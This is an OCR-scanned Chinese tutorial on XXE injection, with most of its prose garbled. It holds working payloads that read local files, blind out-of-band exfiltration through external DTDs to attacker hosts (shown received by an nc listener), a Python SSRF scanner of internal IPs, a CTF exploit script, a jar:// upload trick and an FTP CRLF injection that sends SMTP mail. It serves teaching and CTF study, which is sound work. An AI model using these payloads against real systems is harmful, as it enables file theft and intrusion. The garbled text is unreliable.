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N J A TH
9RXE 05
ITREE

—. XXE &f+4
I XXE Z AT, BERU—TEBER XML EN, XAMKFAIEERE, WRE0iENZ B R ERFR
WE R

XMLEA
<?xml version=1.0" encoding="UTF-8"7>
<USER role=“guest’>H P A\ </USER>
User1</USER><USER

role="admin">User2

|

<?xml version="1.0" encoding="UTF-8"7>
<USER role="guest">User1</USER>
<USER role="admin">User2</USER>

BEARBEFA XML RBS, MBATHEARBEZRHK, RIMNTEEL, TRHRAT XXE

XXE(XML External Entity Injection) 2#%4 XML #MEBEREN, NBFHEEEHK, X —MEANRH, EA
R A? XML 2k, (BRIXEEEEAEN: RXARERE), BER, HLRIXEERERZERERAN
MR SR SRtk , thRIBEEIREBIER NEF TR AP, MAZR XML FH A1) — 2 ZAHBI R
PEPREL T B4E(AT i S 3B S4B AT 1), W RBEVEN SN SER I BB Ih AT IS, XBS R KA ERAT XML i+
NS GX AT R mt 2 4 B WA 3 XML AR RREE, sF8@n XML IEAER ARSI T, B3

rf LT FARED
=, WEANME-TERAR:
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XMLZ—FAEHE AT FIARIRIE S, E1990EREHE Kindl, HELHWHRGREFRA. B FEEX
f, R (InOOXML, ODF, PDF, RSS, ...) , E##&R (SVG, EXIFFREE) L&
(WebDAV, CalDAV, XMLRPC, SOAP, XMPP, SAML, XACML, ...) , Atb)Si 0 itk i i L & Tt
P AT AT 1) RRAR 25 SRR A5 R

TERRNT AN SR I FE R, XMLAEHT 2 AT DURIEURLF 8 B A R (MM SR & X 45 B SR IR 55

(DNS, FTP, HTTP, SMB%) . #hfscihxt FECRHRI@EshAGI HIEEEH, XX 5 HBRIRFT T
RSP B ER . (H2, EAEINTLRR, AL NART BT B, XI5
BAM RS, XA REE S RN SR SEUREHE, BRI &R 7 2 W 457 1) Th RE SR #R
WERRFHFRF . B IX S 5 A SE BB A S A, RS KTEE T Y BRI E P im N E R, ERR
BHAT, EZRS P, BABRRFXERHEH LT

=. EahsniR

XML 324 E B 2 — Mg RTE, XA M2 B — 4 DTD (document type definition) = 76 32 i
1, Mt KB FTHXAFEF

ABIAREE:

<?xml version="1.0"?>//X—4T/R XML 3C#%E X
<!DOCTYPE message [

<!ELEMENT message (receiver ,sender ,header ,msg)>
<IELEMENT receiver (#PCDATA)>

<IELEMENT sender (#PCDATA)>

<!ELEMENT header (#PCDATA)>

<IELEMENT msg (#PCDATA)>

LA DTD B LT XML IR TTE R message, ARBTE FEA —LTEE, B4 XML BN 5AR
THXAE

B

<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

HSeRx 77 DTD A SOTER (LSRN B XML F AR LS, IATIERETE DTD A 5 L&Ak (3 BXML #3
ZRHINE), B3 MLPERTRIRELSLN, EREFEARTREER

B

<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE foo [

<!ELEMENT foo ANY >

<IENTITY xxe "test" >]>

XE ETTERAN ANY SHHEZEMITER, EREXT —4 xml fEh GXRBAEX R L EFHE —IKE 2Lk
MEEE, SEEETURER MR, FIRHMERERAITTUE XML i@l & /5534751 M) , B4 XML stATEL
BRI



B

<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

TAVEA 8ooxe X _LTHIE XK xxe SEARHEAT T 51, B KRR 8oxe BLEH “test” B k.

HEKRT:
Hp—:

ARG AP, AWERSEAMS ARk, LEBAIEKIG] T B2 WA SEAR, (HRSEARSERR LA BLASNERH) did 3C
freb s, BATE T KD

ABIREE:

<?xml version="1.0" encoding="IS0-8859-1"?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<IENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>

<user>&xxe;</user>

<pass>mypass</pass>
</creds>

IXAEXT 51 P B R BT O A T BE SO A SO P BB, AR E T 7 KR Z 2B
A8, BAE-MSIHTAERMEN 51 HAM DTD K75, EEWT:

<IDOCTYPE #RILEAZFM PUBLIC “DTDFRIR4” “/AFDTDHIURI”>

EAMERANTB B o m] LA B A SYSTEM —HI/EH
HEA—:

B L CER K T HAIRA] (ARRSEAMSNERSNERD , ERSER ENA—NAKE, SRR Er Lo
PIANTRA] GEBRSSAMSHEE , HE. .

138 i SE 4k
F &Stk 4; 5 M SEik, MB#EDTD HsE X, #E XML XA+ 5] A
A~ BIREG:

<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>

<firstname>Joe</firstname>

<lastname>&file;</lastname>

</updateProfile>



2.5 Bk

(I & LA BEmEKAGRD)E DTD fEX, HHRBAE DTD P sLik4; 514
()R H1E DTD 3XfF, SHSERRKIF B A4 6E 51 HoAth sk ik
(I)FLE A Ltk —#F, SHSEk T LSNERSI A

A~ BIAREE:

<IENTITY % an-element "<!ELEMENT mytag (subtag)>">
<IENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

Y%z -
SHLARTERA Blind XXE H#23] T EXREEIIEH

. EATBEMAT 4
E—TWRERR T Sk, MR RTAA?
khr b, HRE B TEHXEARBRRR, 7/ ZERIRKMERMZRREAL R EH 4

<?xml version="1.0" encoding="IS0-8859-1"?>
<!DOCTYPE foo [

<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>

<user>&xxe;</user>

<pass>mypass</pass>

</creds>

BEARREIL dtd RATR AR A I —, BB SCHMERRE, REEBURSCHRH kR ?
L8 —: A B 2R HSUR S (Normal XXE)

IXANSRI6 ) B 37 AR R 7 AR 45 RE BRSO R AR AT XML 4 R+ BB B B IEHE, RATREEMARIIE &
SCH XML ARES, @83 51 AR SER I 7 i, 51 IR S5 4% L1 S0

AR 5528 B E##EHT XML i) php AR08
AR
xml.php

<?php

libxml_disable_entity loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML ($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

echo $creds;

?>



payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE creds [

<IENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

ZRmTHE:

WAF BYPASS+ ENCODING- HTML- ENCRYPTIO

INT M ~ * SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS
L BEEGRVIN hitp://localhost/XXE/xml.php
0 split URL

° Execute

Post data [ Referrer s OxHEX L we WURL we. DBASEGd e Insert string to r'ep.f’acel Insert

Post data <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [

<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini®> | >
<creds>&goodies; </creds>

4 | [ | »

EREARZAXHBA N AR S, T RBATEBI AT UL AR = HEA], 384 B ZR AT mixA
AW ?

B pr s -

| test.ixt - ig=4
) HRIE(E) E=N(0) BEE(V) EEIH)
I# /etc/fstab: static file system information.
# # <file system> <mount point> <type> <options> <dump> <pass>
proc /proc proc defaults 0 0 /dev/hda2 /
ext3 defaultserrors=remount-ro 0 T...

BEATA—TF
ZRWTHE:
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S RUNE hitp://localhost/XXE/xml.php
split URL

Execute

Post data Ml Referrer wa OxHEX we JBURL we. BASE64 e  [REEREGLEE

Post data <?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///d:/test.txt"> |=
<creds=&goodies;</creds=

')

Call Stack
# |Time Memory Function
1 0.0006 132072|{main}()
2 0.0006 132704 |loadXML ( string(132), long )

4 [0 | »

WUEE, MEEAZBRATVBER M, WHESRINMR T —HHE, EaB? IMRRMER BRI S —
AMEs T —CDATA, BN T (GBI HBERKN—F A4 XML K1E%):

APy AT R BT 5| AR IIT, TOR SR IR A AL SR, I TR S BOHORARAT WA R TR
FREH R & KR <> & S
" 45, COATAFIFTA T S MT R PR B IR RIS, TR xmifFi

<! [CDATA[

D00.0,0,.0.0.0.0.9.9,.0.9.0.0.0.0.4

1>

UMAER TR T 1> MERE

RIS R T — R RN A B SRR T B A E 747, AT CLA CDATARER
ARBATHEBATHI L R B BAR AE CDATA et sl et 758, (HEEAME], RITREER 2P —TF:
B, REIFBHIAHTT, 8

<IENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>

SIAFAEZ W RS T xml #RBELW TR (EXMLY, BN EANEE TEER, W&<,>" %, REHF
BN HHETE L, B XMUBRSR LR IR), RATEES ARFLMLE “<|[CDATA"A “I]>" HRFEEH
EATIEE S R BRATF A B DR, TRBAEE T RG2Sk E S5 T

ZRWTHE:
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SQL BASICS+ UNION BASED~ ERROR/DOUBLE QUERY- TOOLS

WAF BYPASS- ENCODING- HTML- E

LR RUNE http://localhost/XXE/xml.php
U split URL
© Execute

Postdata [ Referrer s OxHEX Lo we %URL S L SE Nl (scit siring to repla

B ey

<!ENTITY start "<![CDATA[">
<!ENTITY goodies "file:///d:/1.txt" >
<!ENTITY end "]]>="> ]=
<creds>&start&aoodies:&endi< /creds >

Post data

Call Stack
# [Time Memory Function
1 0.0010 132872 {main}( )
4 [ |

ER, REEH=REREFAEHEN, EEEERRET, ZUARNARE xml F#THHE, MEE
BAGHELEBE xml B, B2EEE DTD
gt BATMERNRE ML, sR2EH S5k

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE roottag [

<IENTITY % start "<![CDATA[">

<IENTITY % goodies SYSTEM "file:///d:/test.txt">
<IENTITY % end "]]>">

<IENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; 1>

<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?>
<IENTITY all "%start;%goodies;%end;">

ZRWTHE:
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= SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS
http://localhost/XXE/xml.php

WAF BYPASS- ENCODING- HTML

Split URL

Execute

Postdata Il Referrer wa OxHEX 4w e %URL we. BASEGA Insert string to re

Post data <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [

<!ENTITY 9% start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.xt" >

U] /etc/fstab: static file system information. # # proc /proc proc defaults 0 0 /dev/hda2 / ext3

4 | [ | »

BB EE L — T RMAMERE, FOARE TEKNGFHE 2 — N RUNE T, TRETRIESRE
BXEMADHTT

HE:

RERE AR, WMERLE java o iBF —MHLEEAE file h , FLE netdoc , EMTTERSERHKIDHT MIEH
XXE
F % N H7 58 7

BT i R PR

(R, fREEBAY, K& AFREE LR XML AR, — SR T B s 7 S 1 A
FE 3 A R R AR 7 S P ARERT XML B2, B AT A 05 o ) D 39 VT A 0 B — AR L 1 2 B
il

AR Y T

BTSN R R R R, T2 M RREHRIE? U BRARNNIBLA R B, HIObR
RERETT, RIVEARIERIGIIEE %, TRIGIIES SR A ER, BRER, ROE
BRI B R ROER, A FRAERINS B AEAEME T GF LRIENE, RAILHE—A

DTD s A58 A sk b 31 A 53— i R i 46 B O B 5K

9%~ T 5 A H 4UR 34 (Blind OOB XXE)

xml.php

<?php

libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
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test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<IENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;"'>">
2019.5.8 E H

BRYL X BARES B T AT 17 0K send BTTETY HTML SERRALER T % , BARTRIE FTHEMUE T — /@R, HE
RN B IR IS AR KT 8, B EEREX B E A R BRER — TR

<IENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<IENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:99992p=Nfile;’'>">»

payload:

<IDOCTYPE convert [
<IENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;

1>

localhost

SQL BASICS- UNION BASED- ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASS- ENCODING-
[IELRUNRY hitp://localhost/XXE/xml.php
Split URL

Execute

M Post data M Referrer wa OxHEX L s %URL we. BASE6Y e

<!DOCTYPE convert |
<!ENTITY % remote SYSTEM "http://hdck3r.club/test.dtd">
%remote;%int;%send;|

1=

ZGRWTF:

[root@myvps ~]# nc -lvv 99499

Connection from port 9999 [tcp/distinct] accepted
GET /?p=WFhFIEFUVEFDSw== HTTP/1.0

Host: h4ck3r.club:9999

Connection: close

BANEREF DR ST RIS T HATH base64 Hifid & HIBUR SIS B (S HE 2N T AR R AR XMLE
%), N iiRes.

BAEA SR
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BRAIM payload FEEE B EL A T =4S H524E Y%remote; %int;%send;, Xt R BATHIFIHIFFE, %remote
SeiA, AABEERZEERS S LK test.dtd , B RRLT R test.dtd BE#HEK, A5 %int A test.dtd 1
%file, %file w4 IREUR % 2% LT BUR S, RIEH Yfile 45 RENE] %send LLJE (BN SEAAKIE F AR EEH
%, BT LA HHE FRhtmIS2 iR 4ihD s« #37;), BRATEEA %send; IBERATH L EE] B & 1% B RATHIZE vps

b, PSR T AN BUR AR, SEERMBR T XXE LB &K E .

K%

HAINIRIER R R4 T — 13, WHLLED file HBGERAIICM, BE @ hitp Pk HIER, & SSRF
H B SLZAR R R B R, X H LA RMIT SSRF , FEAMATAREE MRS 8811 73 — B RSB R EIER, M4
WA A R T AR R S5 25 R M bk e B A I Ak, (Bdn 192.168.0.10:8080) R A2 thaesiIl SSRF FIF:H)
BORWE? ¥k, XXE HLR— SSRF MMt Fik, BN SSRF HSLRE—MEEHER, FIFARXFBEHHER
BATREAE AR 2 B P B A R IR#EAT B

HHIF A
Bt AZ AR S 3 — 20 R BATA BER R R R T file ¥, BATLIUEREIEEFTMT G, BATRE M P
mEFR:

1 e —————] ¥

PHPTE 223" i LA 34 B8 SR 9 B
WE R
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Scheme Extension Required

https openssl
ftps

zip zip
ssh2.shell ssh?

ssh?.exec
ssh2.tunnel

ssh2.sftp

ssh2.scp

rar rar

ogqg oggvorbis
expect expect
HE:

1.5 9 201249 A FF 4k, Oracle JDKARA F ik T %fgopherds RIS HE, &R N FFHIARA & Oracle JDK 1.7
update 7 #1 Oracle JDK 1.6 update 35
2 libxml & PHP K xml 373

L =. HTTP A M EHLIEM

BATUAFELE XXE IR B AR 55 33 ATRATERBU A B . BT BRI RATIE | B — L5 THE, RITTRE
FF A file hBORIMIBAME AN X RIRFS B EEE M, BE—TAEREAM, DEMNBERBRH AT (R
linux A6 , AT P2 EL /etc/network/interfaces 553 /proc/net/arp 5% /etc/host SCHLAE BATHAE T
REERI T7 18] T

T T R A R B A G SE -
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import requests
import base64

#0rigtional XML that the server accepts
#<xml>

# <stuff>user</stuff>

#</xml>

def build_xml(string):

xml = """<?xml version="1.8" encoding="IS0-8859-1"?>"""

xml = xml + "\r\n" + """<IDOCTYPE foo [ <!ELEMENT foo ANY >"""

xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""

xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""

xml = xml + "\r\n" + """</xml>"""

send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': '"application/xml'}
X = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).tex
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0." + i
string = 'php://filter/convert.base64-encode/resource=http://"' + ip + '/’
print string
build_xml(string)
except:
continue

RMESR:

SEIGPY: HTTP AR EHLE O3

HE T MBI — 5 EN, BEMERDG FER, RADEFEHTIROEDHE, W 0H#M0 A EVHRNLFBH
2z, RERip tihkFE e, WRIEEFEDLRDBAT 17, R — RBAT Sm 12 58 I e S A 1] 4 3 ) B i
2 DR B, EEAUBTBER—T, JRERTRZMITE, RITERS & burpsuite #1473k LRI


https://xzfile.aliyuncs.com/media/upload/picture/20181120002648-e9a5fb54-ec17-1.png

= AUE AL PN

<?xml version=
<!DOCTYPE data
<!ELEMENT data
1>

<data>4</data>

REIZR:

javax.xml.bind
- with linked

"1.0" encoding="utf-8"?>

SYSTEM "http://127.0.0.1:515/" [
(#PCDATA) >

.UnmarshalException
exception:

[Exception [EclipselLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarsha

Exception Description: An error occurred unmarshalling the document

Internal Exception: | EEEEEEEEEEEEEEE: Connection refused

AR T — e DRI . I RAEE L, TATALURE R KR OE A 280 RIERIA bp # intruder SR AT

/|
T B

LZJ Payload

Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which g

Attack type: | Sniper

1>

POST /broken/api/confirm HTTP/1l.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:55.0) Gecko/2Z0l00L101 Firefox/55.0
Accept-Languages: en

X-Requested-With: XMLHttpRecuest

Content-Length: 134

Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="utf-8"?2>
<!DOCTYPE data SYSTEM "http://127.0.0.1:85158/" [
<!'ELEMENT data (#PCDATA)>

<data>4</data>|

4

1 | »

Zb, BRNCEFRINENMBBAT T —NEEKHRN, B EIAMRFZ /N —EERT, WRAMKIRS
SAENNE, I BRI T7 RS SRR ITE R N RS, RAITBEEZEAA XXE TH N MRS a2

At E # getshell

(bt gs Py IR IZAL redis Bt A L5 http get 15 Rt At B getshell i b i strus2)

L FH: AMEE(CTF)
2018 M B —IiB M= F A XXE IR TAME SQL BiER, KRB B BT

B SEAESN R —
i1

WE R

HipHihk oy 39.107.33.75:33899 KIPFRHEALIA AL XXE i, AT xml LUK dtd & 3L
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GET IN TOUCH

First Name

Your Ema

4 | I 3

<br /=
<b>Warning=</b>: simplexm!_load_string():

~in
<b>fvarfmwww/52dandan.cc/public_html/function.php</b> on
line <b>54</b><br />
<br /=
<b>Warning=</b>: simplexm! load string(}:
http://52.199.13.19/evil dtd: 2: parser error : internal errcr in
<b>fvarfmwww/52dandan. cc/public_html/Aunction.php</b> on
line <b=54</b=<br />
<br />
<p=Warning</b>: simplexm|_load string(): &IGIENTITY
% all &quot &ILIENTITY &amp;#37; send SYSTEM
‘http://52.199.13.19/?file=%file; '&gt, &quot; in
<b>fvarpmwww/52dandan.cc/public_html/function.php</b> cn
line <b>54</b><br />
<br /=
<b>Warning=</b>: simplexm|_load_string(}: E

4 i | »

Rk, MABMNRARBEEDUZIRS & L #SCH, BAVG R E (XA FE Blind XXE , BAERZ
Hsetk, SMERSIH DTD)

/var/www/52dandan.cc/public_html/config.php

E3E 45 flag
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<?php

define(BASEDIR, "/var/www/52dandan.club/");

define(FLAG_SIG, 1);

define(SECRETFILE, '/var/www/52dandan.com/public_html/youwillneverknowthisfile_e2cd3614b63ccdcbfe7c8f07376fe

?>

HEE:

REA AN, BRAVEA libxml SEBOCH N ARIRR, SXCHEARREE R, WRAKMSRE, TREAMEZMEH
php
L IEER I — N RS I 7

JE45: echo file_get_contents(“php:/filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd”);
fi#JE: echo file_get contents(‘php:/filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1”);

WIEBMNFBRAMA ARG, HATEH

/proc/net/arp
/etc/host

HEINME) B — G IRFG AR ip #ikk 192.168.223.18

EB|XA ip RAVBEHMEMA XXE TR AE# T, RERINEITFRT 80w A, RERNBE#THERA
i, HEI—Atestphp, WRIERZR, XAWEK shop ZEAFE—MEN HEBEAEGZXA B — Blind XXE
HRATHIRS AR 5545 B8 REWR/EBAINIZFE DTD HEEH), RERMNTERZRINNIFER, BRINKEZEST—
KAGBOE R KRB SN TITZRE MR 554210 DTD 30, TRBEANPHASEEAERIN VPS £, —diaB%
DTD —i&mfF7E XXE K EHRIEFER, WABRG T mXAHET

ABIAREE:



import requests
url = "http://39.107.33.75:33899/common.php"’
s = requests.Session()

result = "'
data = {
"name":"evil _man",
"email":"testabcdefg@gmail.com",
"comment":"""<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE root [
<IENTITY % dtd SYSTEM "http://evil_host/evil.dtd">
%dtd; 1>
}

for i in range(9,28):
for j in range(48,123):
f = open('./evil.dtd','w")

payload2 = """<!ENTITY % file SYSTEM "php://filter/read=zlib.deflate/convert.base64-encode/reso
<IENTITY % all "<!ENTITY % send SYSTEM 'http://evil_host/?result=%file;'>">
%all;

%send; """ .format('_"*i+chr(j)+'_"*(27-1))

f.write(payload2)

f.close()

print 'test {}'.format(chr(j))

r = s.post(url,data=data)

if "Oti3a3LelLPdkPkgKF84xs=" in r.content and chr(j)!='_":
result += chr(j)
print chr(j)
break

print result

IR, MR AR WFen, PramRERERENAELR, Bk 20m
RN X B

BATZ AT IF B # 2 php 3%, (HRSEFR LIS IR L AR java FIFELE B XXE ¥R, 8 5o,
BREI Java B —AHBAHZT MY jar// , php FH phar// BIERLR RN T 2B jar:// BRI ThRE B iH H Sk
o

jar:/l Pr Lk K

jar:{url}!{path}

L -

jar:http://host/application.jar!/file/within/the/zip

A U R T B PR B

jar BE NIZFEIREN jar X, RERHFHARRITHEE, F%, XANTHEEMLLIFL phar 32 KK, phar:/ £ i%kiT
FEIE SR (F M phar// — B T4 e B, £ —520165EMHCTFH 5 X AN AR A, YRR
FHHERLMBEE, B, 201845/ blackhat #Hid K phar:// & F5I4LIRH 8, Orange ¥ 7E20174E K] hitcon
Hh S X RRD



jar b Ak B S S R

(1) T jar/zip U 2GRS SO
(2) $REUH BRATTHE E SO
(3) Ml B e B ST A

B4 BATVE 2 B BIBAT T £ e B SCA W ?

FEATE java = file:/// Bl v] AR 2051 B R EI1ER ., FrCABRAIGER file:/l/ Vh il BL & jar:// B SLfE A

T HE R — LR R
WERERMBEY—NMEE XXE WREF, MW ERKEEERENT XML X java RS
A~ BIAREE:

xml_test.java

package xml_test;
import java.io.File;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Attr;

import org.w3c.dom.Comment;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;

import org.w3c.dom.Nodelist;

/**
* g AT A E AR R — A xm 130 BB AR BIG 41T B

* @author zhanglong
*

*/
public class xml_test
{
public static void main(String[] args) throws Exception
{
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new File("student.xml"));
//FBRTRGE R
Element root = doc.getDocumentElement();
parseElement(root);
}

private static void parseElement(Element element)

{
String tagName = element.getNodeName();

NodeList children = element.getChildNodes();



System.out.print("<" + tagName);

//element ST E HIFTE B 1 BT B fINamedNodeMap Xt 4, 75 xf H3E4T I W
NamedNodeMap map = element.getAttributes();

/ /IR ZTR R
if(null !'= map)
{
for(int i = @; i < map.getLength(); i++)
{
//IFBZTERNE R
Attr attr = (Attr)map.item(i);
String attrName = attr.getName();
String attrValue = attr.getValue();
System.out.print(" " + attrName + "=\"" + attrvalue + "\"");
}

System.out.print(">");

for(int i = @; i < children.getLength(); i++)

{

Node node = children.item(i);

/1R RIRA

short nodeType = node.getNodeType();

if(nodeType == Node.ELEMENT_NODE)

{
//RTTER, 4EkiEa
parseElement ((Element)node);

}

else if(nodeType == Node.TEXT_NODE)

{
//EAEO
System.out.print(node.getNodeValue());

}

else if(nodeType == Node.COMMENT_NODE)

{
System.out.print("<!--");
Comment comment = (Comment)node;
[ EBRNE
String data = comment.getData();
System.out.print(data);
System.out.print("-->");

}

}

System.out.print("</" + tagName + ">");



HTRAELUR, RATREEAHET—A xml S , R4 studentxm

student.xml

<!DOCTYPE convert [
<!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php">
1>

<convert>&remote;</convert>

HRXEHMmTHE:

Search for: ¥ xml_test.java student.xml & DocumentBuild

v test3
> .idea
> out
src
xml_test
¥ xml_test

student.xml

» |l External Libraries

i Scratches and Consoles

Al AE R HE B ATE R 2 M B AR H ) 9999 oy O & H K, FB-249999 i O EHHAMREWE? Lhr LRERE D
H python 51—~ TCP k%28

B

sever.py
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import sys

import time

import threading

import socketserver

from urllib.parse import quote
import http.client as httpc

listen_host = 'localhost’
listen_port = 9999
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):
def handle(self):

http_req = b"'

print('New connection:',self.client_address)

while b'\r\n\r\n' not in http_req:

try:

http_req += self.request.recv(4096)
print('Client req:\r\n',http_req.decode())
jf = open(jar_file, 'rb")
contents = jf.read()
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: application/java-archive\r\n\r\n''")
self.request.sendall(headers.encode('ascii'))

self.request.sendall(contents[:-1])
time.sleep(30)

print(30)
self.request.sendall(contents[-1:])

except Exception as e:
print ("get error at:"+str(e))

if _name__ == '__main__"':

jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler)
print ('waiting for connection...')

server_thread = threading.Thread(target=jarserver.serve_forever)
server_thread.daemon = True

server_thread.start()

server_thread.join()

ARG A E KR ERZ P IREER, REREP R NRITS TR BEANS S 23, HE
B8, Lk ERAEZXEMT —A sleep(30), XA H 3R )5 HFH ¥

BEARR S EA%, AREATEE R jar hil@T XIS 2S T

jar B3804 3 S 0 i AR

(1) T jar/zip 3T 2 ST A
(2) R H FA 148 2 KIS AF
(3) M M e ST A



HREATE 2 HKENXAN

mi SO ? AR, BB mRERERRI, WRENERK

jar:http://localhost:9999/jar.zip!/1.php

1.php FEXA jar.zip FERAKIE, java EITEB SR, BIFEIX MG SO o R A BXAS S
T A

Exception in thread "main" java.io.FileNotFoundE; JAR entry 1 _php not found in
C:\Users\Kerz3n\AppData\Local\Temp\jar_cache5312381284485228730.tmp
at sun.net.www.protocol.jar.JarURLConnection.connect(JarURLConnectiaon.j
at sun.net.www.protocol.jar.JarURLConnection.getInputStream(JarUR
at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(

at com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity(
com.sun.org.apache.xerces.internal.impl.XMLEntityManager.startEntity (XV Y
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanEntity
com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentCo
:3061)
com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentSc

4 LI 2

BEARIR B T IR SO B AR, AT ES B E AR T (B WE AR A SO B A 18] 1 15 B 72
BN RFZH, BEBIHTTstsleep() HREREE A, FABATERH KRR S 2~ EXHEH
EERMBCRIR, FMON T XAR e B, BB EAELRRTBER hex g a7 X R B INBIR 775, X
P BE 58 5 A AR RO A 1)

TR B LR R B -

Code Analyze Refactor Build Run Tools VCS Window

T | & - xml_testjava 4 student.xml 4 DocumentBuilderimpl java

pingauy s O

"

xml|_test
xml_test
student.xml|
|

<convert>");
?></convert> | B cmdexe
Process finished exit code @

TEEXCTR =

S L e vvves e vt e e e e

| | ~DFCODA9B697003635B.TMP 7 TMP 30ig 16 KB

[search PR~ [~ &[H:
e

I
|| ~DFCF801C727249EQ1D.TMP TMP 4% 16 KB
|| ~DFD8C30460F04AASBC.TMP /10/ 5 TMPX% 16 KB
|} ~DFD608D2BB5SFFAG6231.TMP 2018/10/20 2:33 TMP 3245 16 KB

|} ~DFDE2850DF79D28C3A.TMP

| ] ~DFE3CBE8294F17DCDD.TMP

[7) ~DFF8202C98DF6AGBSD.TMP

[) +~JF192448141817086823.tmp
[] +~JF4261375204301872024.tmp
[] +~JF6365586524749081863.tmp
[1 1.000

] crt3F8D.tmp

1:53  TMP Xt 16 KB
TMP 4% 16 KB
TMP 45 16 KB
TMP 3245 216 KB
TMP 3244 214 KB
TMP X245 216 KB
9 000 7% 1KB
TMP 3245 66 KB

[5) cuH_PcuLogo.txt ] 3KB
|| Edit.000 3 000 4% 0KB
] ib91F6.tmp TMP 3745 0KB
[ ib91F7.tmp TMP Sz 0KB
[1 ibo1Fa.tmp TMP 0KB
w R P E— @ Event Log o [ ib91F9.tmp T™P 2 0KB
not reaisterad (Se manes & Framewarks | Schemas and DTN 263 CRIF: UTF-8 G || ib9258.tmp TMP 3z 0 KB

4 LI 2

SKBEMEX—H T, BAMAMESLRER T R
RJGRAELCTF 2018 i TiXH—4 CTF &H, 4K wp AJLLFERKIXE &=
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WRAME— 6 5RBEH SMTP 554, HATMEEFIA fp:// thilsi & CRLF AR KIZER G, Bt
R AR R AR RIS ERAN, ZEmE 7ESE, BRAA (—TEFRAD KI—RXE)

Javazz f7Esun.net.ftp.impl.FtpClient+ [iftp URI. Ft, BATA LA P LR, 4l
ftp://user:password@host:port/test.txt, FTP% /5 b 78 % 8 b & XM R I USER G 4

1B a1 SR 3ATH %0D%0A (CRLF)Z I EIURL Mjuserf o MAERAL B, FATH AT LL&IEUSERAT & IR AIFTP& %
HEAN—AF S, B RFRANTE25% O K IAEREKISMTPir &

ARG

ftp://a%oD%oA

EHLO0%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM. com%3E%@OD%0A
RCPT%20T0%3A%3Cvictim¥%40gmail . com%3E%OD%OA
DATA%@D%0A
From%3A%20support%40VULNERABLESYSTEM. com%0A
To%3A%20victim%40gmail . com%0A
Subject%3A%20test%0A

%0A

test!%0A

%0OD%OA

. %0D%OA

QUIT%OD%0A

:a@VULNERABLESYSTEM. com: 25

SFTPZ 2 38 I URLIESERS, LT fr &4 &4 & %4 VULNERABLESYSTEM. com_E i iS4 AR 55 38«
AR

ftp://a

EHLO a

